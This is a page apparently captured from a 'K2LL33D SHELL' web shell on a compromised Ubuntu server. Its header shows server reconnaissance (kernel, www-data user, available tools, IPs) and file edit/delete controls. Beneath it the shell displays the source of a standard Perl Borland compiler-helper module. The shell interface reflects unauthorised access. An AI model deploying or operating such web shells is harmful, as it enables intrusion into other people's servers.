K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / share / perl / 5.18.2 / ExtUtils / CBuilder / Platform / Windows /
server ip : 172.67.156.115

your ip : 172.69.130.124

H O M E


Filename/usr/share/perl/5.18.2/ExtUtils/CBuilder/Platform/Windows/BCC.pm
Size3.41 kb
Permissionrw-r--r--
Ownerroot : root
Create time27-Apr-2025 10:10
Last modified21-Nov-2018 01:11
Last accessed08-Jul-2025 03:08
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
package ExtUtils::CBuilder::Platform::Windows::BCC;

use vars qw($VERSION);
$VERSION = '0.280209';

sub format_compiler_cmd {
my ($self, %spec) = @_;

foreach my $path ( @{ $spec{includes} || [] },
@{ $spec{perlinc} || [] } ) {
$path = '-I' . $path;
}

%spec = $self->write_compiler_script(%spec)
if $spec{use_scripts};

return [ grep {defined && length} (
$spec{cc}, '-c' ,
@{$spec{includes}} ,
@{$spec{cflags}} ,
@{$spec{optimize}} ,
@{$spec{defines}} ,
@{$spec{perlinc}} ,
"-o$spec{output}" ,
$spec{source} ,
) ];
}

sub write_compiler_script {
my ($self, %spec) = @_;

my $script = File::Spec->catfile( $spec{srcdir},
$spec{basename} . '.ccs' );

$self->add_to_cleanup($script);

print "Generating script '$script'\n" if !$self->{quiet};

my $SCRIPT = IO::File->new( ">$script" )
or die( "Could not create script '$script': $!" );

# XXX Borland "response files" seem to be unable to accept macro
# definitions containing quoted strings. Escaping strings with
# backslash doesn't work, and any level of quotes are stripped. The
# result is is a floating point number in the source file where a
# string is expected. So we leave the macros on the command line.
print $SCRIPT join( "\n",
map { ref $_ ? @{$_} : $_ }
grep defined,
delete(
@spec{ qw(includes cflags optimize perlinc) } )
);

push @{$spec{includes}}, '@"' . $script . '"';

return %spec;
}

sub format_linker_cmd {
my ($self, %spec) = @_;

foreach my $path ( @{$spec{libpath}} ) {
$path = "-L$path";
}

push( @{$spec{startup}}, 'c0d32.obj' )
unless ( $spec{starup} && @{$spec{startup}} );

%spec = $self->write_linker_script(%spec)
if $spec{use_scripts};

return [ grep {defined && length} (
$spec{ld} ,
@{$spec{lddlflags}} ,
@{$spec{libpath}} ,
@{$spec{other_ldflags}} ,
@{$spec{startup}} ,
@{$spec{objects}} , ',',
$spec{output} , ',',
$spec{map_file} , ',',
$spec{libperl} ,
@{$spec{perllibs}} , ',',
$spec{def_file}
) ];
}

sub write_linker_script {
my ($self, %spec) = @_;

# To work around Borlands "unique" commandline syntax,
# two scripts are used:

my $ld_script = File::Spec->catfile( $spec{srcdir},
$spec{basename} . '.lds' );
my $ld_libs = File::Spec->catfile( $spec{srcdir},
$spec{basename} . '.lbs' );

$self->add_to_cleanup($ld_script, $ld_libs);

print "Generating scripts '$ld_script' and '$ld_libs'.\n" if !$self->{quiet};

# Script 1: contains options & names of object files.
my $LD_SCRIPT = IO::File->new( ">$ld_script" )
or die( "Could not create linker script '$ld_script': $!" );

print $LD_SCRIPT join( " +\n",
map { @{$_} }
grep defined,
delete(
@spec{ qw(lddlflags libpath other_ldflags startup objects) } )
);

# Script 2: contains name of libs to link against.
my $LD_LIBS = IO::File->new( ">$ld_libs" )
or die( "Could not create linker script '$ld_libs': $!" );

print $LD_LIBS join( " +\n",
(delete $spec{libperl} || ''),
@{delete $spec{perllibs} || []},
);

push @{$spec{lddlflags}}, '@"' . $ld_script . '"';
push @{$spec{perllibs}}, '@"' . $ld_libs . '"';

return %spec;
}

1;